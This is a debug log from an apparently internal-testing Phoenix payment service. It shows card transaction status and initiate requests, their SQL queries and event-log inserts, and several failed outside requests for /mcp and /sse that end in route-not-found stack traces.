↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 12:34:18.620000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:40216] QUERY OK source="pos_temp_transaction" db=0.5ms idle=1571.1ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch385254010714"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 12:34:18.623000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:40216] QUERY OK source="pos_failed_transaction" db=2.8ms queue=0.1ms idle=1572.0ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch385254010714"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 12:34:18.625000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:40216] QUERY OK source="cloud_transaction" db=1.7ms idle=1575.3ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch385254010714"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 12:34:18.626000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:40216] Sent 200 in 24ms
[Thu Sep  3 12:34:23.673000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:40224] POST /api/device/status
[Thu Sep  3 12:34:23.674000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:40224] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch385254010714", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 12:34:23.674000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:40224] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch385254010714", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 12:34:23.674000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:40224] Transaction reference number: "ch385254010714"
[Thu Sep  3 12:34:23.689000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:40224] QUERY OK source="pos_transaction" db=14.5ms idle=1625.6ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch385254010714"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 12:34:23.691000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:40224] QUERY OK source="pos_temp_transaction" db=0.6ms queue=0.6ms idle=1640.6ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch385254010714"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 12:34:23.694000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:40224] QUERY OK source="pos_failed_transaction" db=2.9ms idle=1642.2ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch385254010714"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 12:34:23.698000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:40224] QUERY OK source="cloud_transaction" db=3.9ms idle=1644.9ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch385254010714"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 12:34:23.698000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:40224] Sent 200 in 25ms
[Thu Sep  3 12:34:26.706000 2026] [Phoenix.Logger:info] [pid 2816631] [client 194.88.98.100:13026] GET /
[Thu Sep  3 12:34:26.706000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 194.88.98.100:13026] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 12:34:26.707000 2026] [Phoenix.Logger:info] [pid 2816631] [client 194.88.98.100:13026] Sent 200 in 896µs
[Thu Sep  3 12:34:27.080000 2026] [Phoenix.Logger:info] [pid 2816631] [client 69.5.169.31:15842] GET /
[Thu Sep  3 12:34:27.081000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 69.5.169.31:15842] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 12:34:27.098000 2026] [Phoenix.Logger:info] [pid 2816631] [client 69.5.169.31:15842] Sent 406 in 17ms
[Thu Sep  3 12:34:27.101000 2026] [Plug.Debugger:debug] [pid 2816631] [client 69.5.169.31:15842] ** (Phoenix.NotAcceptableError) no supported media type in accept header.

Expected one of ["html"] but got the following formats:

  * "application/json" with extensions: ["json"]

To accept custom formats, register them under the :mime library
in your config/config.exs file:

    config :mime, :types, %{
      "application/xml" => ["xml"]
    }

And then run `mix deps.clean --build mime` to force it to be recompiled.

    (phoenix 1.7.19) lib/phoenix/controller.ex:1606: Phoenix.Controller.refuse/3
    (da_product_app 0.1.0) DaProductAppWeb.Router.browser/2
    (da_product_app 0.1.0) lib/da_product_app_web/router.ex:1: DaProductAppWeb.Router.__pipe_through0__/1
    (phoenix 1.7.19) lib/phoenix/router.ex:475: Phoenix.Router.__call__/5
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 12:34:27.124000 2026] [Phoenix.Logger:info] [pid 2816631] [client 69.5.169.122:9570] GET /mcp
[Thu Sep  3 12:34:27.145000 2026] [Plug.Debugger:debug] [pid 2816631] [client 69.5.169.122:9570] ** (Phoenix.Router.NoRouteError) no route found for GET /mcp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 12:34:27.171000 2026] [Phoenix.Logger:info] [pid 2816631] [client 69.5.169.91:12588] GET /api/mcp
[Thu Sep  3 12:34:27.174000 2026] [Phoenix.Logger:info] [pid 2816631] [client 69.5.169.102:5594] GET /mcp/
[Thu Sep  3 12:34:27.197000 2026] [Plug.Debugger:debug] [pid 2816631] [client 69.5.169.102:5594] ** (Phoenix.Router.NoRouteError) no route found for GET /mcp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 12:34:27.204000 2026] [Plug.Debugger:debug] [pid 2816631] [client 69.5.169.91:12588] ** (Phoenix.Router.NoRouteError) no route found for GET /api/mcp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 12:34:27.558000 2026] [Phoenix.Logger:info] [pid 2816631] [client 193.124.20.231:15460] GET /sse
[Thu Sep  3 12:34:27.585000 2026] [Plug.Debugger:debug] [pid 2816631] [client 193.124.20.231:15460] ** (Phoenix.Router.NoRouteError) no route found for GET /sse (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 12:34:45.251000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:40522] POST /api/device/initiate
[Thu Sep  3 12:34:45.252000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:40522] Processing with DaProductAppWeb.DeviceInitiateController.initiate/2
  Parameters: %{"accountLabel" => "", "amount" => "150", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch263043307165", "externalRefNumber2" => "6437898249", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98250623730001"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 12:34:45.252000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:40522] Processing card transaction for reference: ch263043307165
[Thu Sep  3 12:34:45.253000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:40522] QUERY OK source="users" db=1.0ms idle=1199.3ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 12:34:45.254000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:40522] QUERY OK source="custom_events" db=0.7ms idle=1200.7ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["initiate_card_txn_request"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 12:34:45.255000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:40522] Attempting to store custom event log:
Event ID: 35
Event Name: "Initiate Card Txn Request"
Event Value: "initiate_card_txn_request"
Reference ID: "ch263043307165"
Payload: %{
  username: "prasanna@dataaegis.com",
  amount: 150,
  account_label: "",
  app_key: "1234567897654",
  customer_mobile_number: "971501234567",
  external_ref_number: "ch263043307165",
  external_ref_number_2: "6437898249",
  external_ref_number_4: "",
  external_ref_numbers: "",
  push_to: %{"deviceId" => "98250623730001"}
}

[Thu Sep  3 12:34:45.255000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:40522] Prepared attributes for custom event log: %{
  payload: %{
    username: "prasanna@dataaegis.com",
    amount: 150,
    account_label: "",
    app_key: "1234567897654",
    customer_mobile_number: "971501234567",
    external_ref_number: "ch263043307165",
    external_ref_number_2: "6437898249",
    external_ref_number_4: "",
    external_ref_numbers: "",
    push_to: %{"deviceId" => "98250623730001"}
  },
  event_name: "Initiate Card Txn Request",
  refrence_id: "ch263043307165",
  transaction_id: nil,
  date_added: ~U[2026-09-03 12:34:45.255784Z],
  event_id: 35,
  event_value: "initiate_card_txn_request"
}
[Thu Sep  3 12:34:45.256000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:40522] Creating custom event log with attributes: %{payload: %{username: "prasanna@dataaegis.com", amount: 150, account_label: "", app_key: "1234567897654", customer_mobile_number: "971501234567", external_ref_number: "ch263043307165", external_ref_number_2: "6437898249", external_ref_number_4: "", external_ref_numbers: "", push_to: %{"deviceId" => "98250623730001"}}, event_name: "Initiate Card Txn Request", refrence_id: "ch263043307165", transaction_id: nil, date_added: ~U[2026-09-03 12:34:45.255784Z], event_id: 35, event_value: "initiate_card_txn_request"}
[Thu Sep  3 12:34:45.354000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:40522] QUERY OK db=97.9ms idle=1202.2ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{username: "prasanna@dataaegis.com", amount: 150, account_label: "", app_key: "1234567897654", customer_mobile_number: "971501234567", external_ref_number: "ch263043307165", external_ref_number_2: "6437898249", external_ref_number_4: "", external_ref_numbers: "", push_to: %{"deviceId" => "98250623730001"}}, "Initiate Card Txn Request", "ch263043307165", ~U[2026-09-03 12:34:45Z], 35, "initiate_card_txn_request", ~N[2026-09-03 12:34:45], ~N[2026-09-03 12:34:45]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 12:34:45.354000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:40522] Successfully created custom event log with ID: 40216
[Thu Sep  3 12:34:45.354000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:40522] Handling card transaction:
- Reference: ch263043307165
- Amount: 150
- Params: %{"accountLabel" => "", "amount" => "150", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch263043307165", "externalRefNumber2" => "6437898249", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98250623730001"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}

[Thu Sep  3 12:34:45.355000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:40522] QUERY OK source="users" db=0.4ms idle=1301.1ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 12:34:45.356000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:40522] QUERY OK source="custom_events" db=0.8ms idle=1201.2ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["response_from_device_online_status"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 12:34:45.356000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:40522] Attempting to store custom event log:
Event ID: 36
Event Name: "Response From Device Online Status"
Event Value: "response_from_device_online_status"
Reference ID: "ch263043307165"
Payload: %{
  status: "online",
  username: "prasanna@dataaegis.com",
  ts: 1788438885,
  device_id: "98250623730001",
  amount: 150
}

[Thu Sep  3 12:34:45.357000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:40522] Prepared attributes for custom event log: %{
  payload: %{
    status: "online",
    username: "prasanna@dataaegis.com",
    ts: 1788438885,
    device_id: "98250623730001",
    amount: 150
  },
  event_name: "Response From Device Online Status",
  refrence_id: "ch263043307165",
  transaction_id: nil,
  date_added: ~U[2026-09-03 12:34:45.357180Z],
  event_id: 36,
  event_value: "response_from_device_online_status"
}
[Thu Sep  3 12:34:45.357000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:40522] Creating custom event log with attributes: %{payload: %{status: "online", username: "prasanna@dataaegis.com", ts: 1788438885, device_id: "98250623730001", amount: 150}, event_name: "Response From Device Online Status", refrence_id: "ch263043307165", transaction_id: nil, date_added: ~U[2026-09-03 12:34:45.357180Z], event_id: 36, event_value: "response_from_device_online_status"}
[Thu Sep  3 12:34:45.479000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:40522] QUERY OK db=121.1ms idle=339.1ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{status: "online", username: "prasanna@dataaegis.com", ts: 1788438885, device_id: "98250623730001", amount: 150}, "Response From Device Online Status", "ch263043307165", ~U[2026-09-03 12:34:45Z], 36, "response_from_device_online_status", ~N[2026-09-03 12:34:45], ~N[2026-09-03 12:34:45]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 12:34:45.479000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:40522] Successfully created custom event log with ID: 40217
